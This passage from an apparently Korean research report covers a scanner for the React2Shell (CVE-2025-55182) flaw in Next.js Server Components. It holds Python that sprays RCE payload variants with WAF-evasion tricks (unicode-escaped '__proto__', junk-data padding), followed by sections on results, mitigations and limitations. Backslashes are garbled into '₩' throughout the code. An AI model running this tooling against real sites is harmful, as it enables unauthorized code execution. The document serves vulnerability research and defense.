                if state in ("REACHED", "GENERIC_500"):
                    log_success(f"FOUND working method: {method}",
"PATH_PROBE")
                    full_headers = dict(hdrs)
                    if method != "GET":
                        full_headers["Content-Type"] = content_type
                    return PathConfig(
                        http_method=method,
                        custom_headers=full_headers,
                        path_variants=path_urls,
                        header_variants=header_variants,
                    )
                if state != "ACTION_REJECT":
                    full_headers = dict(hdrs)
                    if method != "GET":
                        full_headers["Content-Type"] = content_type
                    return PathConfig(
                        http_method=method,
                        custom_headers=full_headers,
                        path_variants=path_urls,
                        header_variants=header_variants,
                    )

_, ct = build_safe_payload()
return PathConfig(
    http_method="POST",
    custom_headers={
        "User-Agent": USER_AGENT,
        "Next-Action": action_id,
        "Content-Type": ct,
    },
    path_variants=path_urls,
    header_variants=header_variants,
)
```

```
def set_spray_strategy() -> str:
    return "ALL"


def generate_attack_job(
    state: str,
    waf_config: WafConfig,
    path_config: PathConfig,
    target_info: TargetInfo,
    options: Options,
) -> Dict:
    base_headers = {
        "Next-Action": target_info.action_id or "x",
        "User-Agent": USER_AGENT,
    }
    base_headers.update(path_config.custom_headers or {})

    variant_mode = options.variant_mode
    use_strategy_variants = False
    strategy_variants: List[Tuple[str, str, str]] = []
    header_variants: List[Dict[str, str]] = [{}]
    path_variants: List[str] = [target_info.normalized_url]
    method_variants: List[str] = [path_config.http_method]

    if state == "EDGE_BLOCK":
        header_variants = get_header_variants_for_edge_block(
            base_headers, target_info.root_url
        )
        variant_mode = "SMART"
    elif state == "ACTION_REJECT":
        path_variants = path_config.path_variants or [target_info.normalized_url]
        header_variants = path_config.header_variants or [base_headers]
        method_variants = ["POST", "PUT", "PATCH", "GET"]
        variant_mode = "SMART"
    elif state == "REACHED":
        use_strategy_variants = True
        strategy_variants = get_strategy_variants_for_state(state)
        variant_mode = "SINGLE" if options.variant_mode == "SMART" else
options.variant_mode
    elif state == "GENERIC_500":
        use_strategy_variants = True
        strategy_variants = get_strategy_variants_for_state(state)
        path_variants = get_path_variants_for_generic(target_info.root_url)
        method_variants = METHOD_VARIANTS_GENERIC
        variant_mode = set_spray_strategy()

    job = {
        "target_url": target_info.normalized_url,
        "root_url": target_info.root_url,
        "http_method": path_config.http_method,
        "custom_headers": base_headers,
        "waf_config": {
            "bypass_mode": waf_config.bypass_mode,
            "junk_size_kb": waf_config.junk_size_kb,
            "use_unicode": waf_config.use_unicode,
            "use_chunked": waf_config.use_chunked,
        },
        "variant_mode": variant_mode,
        "timeout": options.timeout,
        "stop_on_success": options.stop_on_success,
        "state": state,
        "header_variants": header_variants,
        "path_variants": path_variants,
        "method_variants": method_variants,
        "strategy_variants": strategy_variants,
        "use_strategy_variants": use_strategy_variants,
    }

    log_debug("ATTACK_JOB", f"state={state} use_strategy={use_strategy_variants}
paths={len(path_variants)} headers={len(header_variants)}
methods={len(method_variants)}")
    return job


def step2_diagnose_and_plan(target_info: TargetInfo, options: Options) -> Dict:
    body, content_type = build_safe_payload()
    headers = {
        "User-Agent": USER_AGENT,
        "Next-Action": target_info.action_id or "x",
        "Content-Type": content_type,
    }
    print("₩₩n")
    log_debug("STEP2", f"safe_headers={headers}")
    resp, err = send_request(
        "POST",
        target_info.normalized_url,
        headers=headers,
        body=body,
        timeout=options.timeout,
        verify_ssl=options.verify_ssl,
    )

    if err or resp is None:
        log_error(f"safe-check error: {err or 'no_response'}", "STEP2")
        state = "ERROR"
    else:
        state = classify_state(resp)

    log_debug("STEP2", f"safe_state={state}")
    waf_config = WafConfig()
    path_config = PathConfig(http_method="POST", custom_headers=headers)

    if state == "EDGE_BLOCK":
        waf_config = probe_waf_bypass(target_info, options)
    elif state == "ACTION_REJECT":
        path_config = probe_path_fuzzing(target_info, options)
    elif state == "GENERIC_500":
        # Spray strategy is selected in generate_attack_job
        pass

    attack_job = generate_attack_job(state, waf_config, path_config, target_info, options)
    return attack_job

class PayloadGenerator:
    """Generate payload variants. Used when use_strategy_variants=False."""

    @staticmethod
    def get_variants(mode: str) -> List[Tuple[str, str, str]]:
        variants: List[Tuple[str, str, str]] = [
            ("standard", *build_rce_payload()),
            ("constructor_chain", *build_variant_constructor_chain()),
            ("double_proto", *build_variant_double_proto()),
            ("server_reference", *build_variant_server_reference()),
            ("map_reference", *build_variant_map_reference()),
            ("nested_reference", *build_variant_nested_reference()),
        ]
        if mode == "SINGLE":
            log_debug("PAYLOAD", "variant_mode=SINGLE")
            return variants[:1]
        if mode == "SMART":
            log_debug("PAYLOAD", "variant_mode=SMART")
            return variants[:3]
        log_debug("PAYLOAD", "variant_mode=ALL")
        return variants

def apply_waf_bypass(payload: str, waf_config: Dict) -> str:
    """페이로드 정밀 변조 - Unicode Evasion + Junk Prepending."""
    final_payload = payload
    junk_size_kb = waf_config.get("junk_size_kb", 0)
    use_unicode = waf_config.get("use_unicode", False)

    if use_unicode:
        log_debug("WAF_BYPASS", "applying unicode escape encoding...")
        replacements = {
            "__proto__": "₩₩₩₩u005f₩₩₩₩u005fproto₩₩₩₩u005f₩₩₩₩u005f",
        }
        for k, v in replacements.items():
            final_payload = final_payload.replace(k, v)

    if junk_size_kb > 0:
        log_debug("WAF_BYPASS", f"prepending {junk_size_kb}KB of junk data...")
        boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
        junk_val = "A" * (junk_size_kb * 1024)
        junk_part = (
            f"--{boundary}₩₩r₩₩n"
            f'Content-Disposition: form-data; name="waf_bypass_junk"₩₩r₩₩n₩₩r₩₩n'
            f"{junk_val}₩₩r₩₩n"
        )
        final_payload = junk_part + final_payload

    log_debug("WAF_BYPASS", f"transformed payload_len={len(final_payload)}")
    return final_payload


def send_exploit(
    url: str,
    method: str,
    headers: Dict[str, str],
    payload: str,
    content_type: str,
    timeout: int,
    verify_ssl: bool,
) -> Tuple[Optional[requests.Response], Optional[str]]:
    final_headers = dict(headers)
    final_headers["Content-Type"] = content_type
    return send_request(
        method,
        url,
        headers=final_headers,
        body=payload,
        timeout=timeout,
        verify_ssl=verify_ssl,
    )


def check_redirect_proof(response: requests.Response) -> Tuple[bool, str]:
    redirect_header = response.headers.get("X-Action-Redirect", "")
    location_header = response.headers.get("Location", "")
    combined = f"{redirect_header} {location_header}".strip()
    log_trace("VERIFY", f"x-action-redirect={redirect_header}")
    log_trace("VERIFY", f"location={location_header}")
    if f"/login?a={POC_PROOF}" in combined:
        log_debug("VERIFY", f"proof=redirect_proof detail={combined}")
        return True, combined
    log_debug("VERIFY", f"proof=not_found detail={combined}")
    return False, combined


def verify_vulnerability(response: requests.Response) -> VerificationResult:
    proven, detail = check_redirect_proof(response)
    if proven:
        return VerificationResult(True, "redirect_proof", detail)
    # Fallback heuristic
    if response.status_code in (301, 302, 303, 307, 308) and "location" in {k.lower() for k
in response.headers}:
        log_debug("VERIFY", f"redirect_without_proof status={response.status_code}")
        return VerificationResult(False, "redirect_no_proof", detail)
    return VerificationResult(False, "no_proof", detail)


def report_result(results: List[VerificationResult]) -> None:
    vulnerable = [r for r in results if r.vulnerable]
    if vulnerable:
        log_critical(f"VULNERABLE!! ({len(vulnerable)} proof(s) obtained)", "RESULT")
        for item in vulnerable:
            log_success(f"PROOF: {item.proof} -> {item.details}", "VERIFY")
    else:
        log_error("NOT VULNERABLE (No exploit proof found)", "RESULT")


def _merge_headers(base: Dict[str, str], override: Dict[str, str]) -> Dict[str, str]:
    """Merge override into base; override wins."""
    out = dict(base)
    for k, v in (override or {}).items():
        if v:
            out[k] = v
    return out


def step3_execute_scan(attack_job: Dict, options: Options) -> List[VerificationResult]:
    results: List[VerificationResult] = []
    base_headers = attack_job.get("custom_headers", {})
    waf_config = attack_job.get("waf_config", {})
    timeout = attack_job.get("timeout", options.timeout)
    stop_on_success = attack_job.get("stop_on_success", True)
    use_strategy = attack_job.get("use_strategy_variants", False)
    path_variants = attack_job.get("path_variants") or [attack_job.get("target_url", "")]
    method_variants = attack_job.get("method_variants") or [attack_job.get("http_method", "POST")]
    header_variants = attack_job.get("header_variants") or [{}]

    if use_strategy and attack_job.get("strategy_variants"):
        variants = attack_job["strategy_variants"]
    else:
        variants = PayloadGenerator.get_variants(attack_job.get("variant_mode", "SMART"))

    attempted: set = set()

    for name, payload, content_type in variants:
        payload = apply_waf_bypass(payload, waf_config)
        for path_url in path_variants:
            for method in method_variants:
                for hvar in header_variants:
                    headers = _merge_headers(base_headers, hvar)
                    combo_key = (path_url, method, name, tuple(sorted(headers.items())))
                    if combo_key in attempted:
                        continue
                    attempted.add(combo_key)
                    print("₩₩n")
                    log("STEP3", f"variant={name} method={method} url={path_url}")
                    log_debug("STEP3", f"headers={summarize_headers(headers)}")
                    resp, err = send_exploit(
                        path_url,
                        method,
                        headers,
                        payload,
                        content_type,
                        timeout,
                        options.verify_ssl,
                    )
                    if err or resp is None:
                        results.append(VerificationResult(False, "error", err or
"no_response"))
                        continue
                    result = verify_vulnerability(resp)
                    results.append(result)
                    log_debug("STEP3", f"variant={name} result={result}")
                    if result.vulnerable and stop_on_success:
                        return results

    return results
```

```
def run_scanner(url: str, options: Options) -> None:
    log_debug("INIT", f"log_level={options.log_level}")
    log("STEP1", "server scan")
    target_info = step1_server_scan(url, options)
    if target_info.error:
        log_error(target_info.error, "STEP1")
        return

    log_detail(f"Target URL: {target_info.normalized_url}", "INFO")
    log_detail(f"Framework:   {target_info.framework} (Signals:
{','.join(target_info.fingerprint_signals) or 'none'})", "INFO")
    log_detail(f"WAF:              {','.join(target_info.waf_vendors) or 'none'}", "INFO")
    log_detail(f"Action ID:   {target_info.action_id or 'none'}", "INFO")

    log("STEP2", "diagnose and plan")
    attack_job = step2_diagnose_and_plan(target_info, options)
    log_debug("STEP2", f"attack_job={attack_job}")

    if attack_job.get("state") == "ERROR":
        log_error("Safe-check failed (connection/response error); skip step3", "STEP2")
        return

    log("STEP3", "execute scan")
    results = step3_execute_scan(attack_job, options)
    report_result(results)


def main() -> None:
    parser = argparse.ArgumentParser(description="Pipeline-based React2Shell scanner")
    parser.add_argument("url", help="Target URL")
    parser.add_argument("--timeout", type=int, default=15, help="Request timeout in
seconds")
    parser.add_argument("-k", "--insecure", action="store_true", help="Disable SSL
verification")
    parser.add_argument("--variant-mode", choices=["SINGLE", "SMART", "ALL"],
default="SMART", help="Payload variant strategy")
    parser.add_argument("--no-stop", action="store_true", help="Do not stop on first
success")
    parser.add_argument("--log-level", choices=list(LOG_LEVELS.keys()), default="DEBUG",
help="Log level: TRACE, DEBUG, INFO, WARN, ERROR")
    parser.add_argument("--debug", action="store_true", help="Alias for --log-level
DEBUG")
    parser.add_argument("--trace", action="store_true", help="Alias for --log-level
TRACE")
    parser.add_argument("--no-debug", action="store_true", help="Alias for --log-level
INFO")

    args = parser.parse_args()
    log_level = args.log_level
    if args.trace:
        log_level = "TRACE"
    elif args.debug:
        log_level = "DEBUG"
    elif args.no_debug:
        log_level = "INFO"

    options = Options(
        timeout=args.timeout,
        verify_ssl=not args.insecure,
        variant_mode=args.variant_mode,
        stop_on_success=not args.no_stop,
        log_level=log_level,
    )

    global LOG_LEVEL
    LOG_LEVEL = LOG_LEVELS[options.log_level]

    run_scanner(args.url, options)

if __name__ == "__main__":
    main()
```

7. 실험 및 실행 결과

스캐너 실행 결과

- Next.js 프레임워크 식별
- Safe probe에서 RSC 파서 진입 확인
- PoC probe에서 redirect 발생
- 최종 취약 판정

취약 환경 검증 결과

- RCE 페이로드 실행 성공
- Middleware 로그 정확성 검증
- FormData 전송 안정성 확보

8. 보안 대응 방안

- RSC 요청 로깅 강화
  - ■ Middleware 도입
  - ■ Flight 요청 식별
- Content-Type 및 크기 제한
  - ■ 비정상 요청 차단
  - ■ 대용량 페이로드 제한
- Server Reference 검증 강화
  - ■ 참조 ID 검증 로직 추가

9. 한계점 및 향후 연구

- 한계점
  - ■ 일부 변형 공격 미탐지 가능성
  - ■ 환경별 WAF 차이로 인한 결과 편차
  - ■ 서버 내부 로직 의존성
  - ■ Variant3, Variant8 스캐너 미반영
- 향후 연구 방향
  - ■ LLM 기반 동적 페이로드 생성
  - ■ 다중 프레임워크 취약점 분석
  - ■ 오픈소스 보안 도구 공개

10. 결론

본 연구에서는 Next.js RSC 환경에서 발생하는 React2Shell 취약점을 심층 분석하고, 이를 탐지하기 위한 지능형 스캐너를 개발하였다. 또한 실제 취약 환경에서 공격을 재현하고, middleware 기반 방어 전략을 적용하여 취약점 완화까지 검증하였다.

특히 상태 기반 파이프라인 구조와 다양한 페이로드 변형 기법을 적용함으로써, 기존 단일 PoC 방식보다 높은 탐지 정확도를 확보하였다. 본 연구는 RSC 기반 웹 환경에서 발생할 수 있는 역직렬화 취약점에 대한 실질적인 대응 방안을 제시한다는 점에서 의의가 있다.

11. 참고문헌

- https://github.com/zr0n/react2shell
- https://asec.ahnlab.com/ko/91526/
- https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182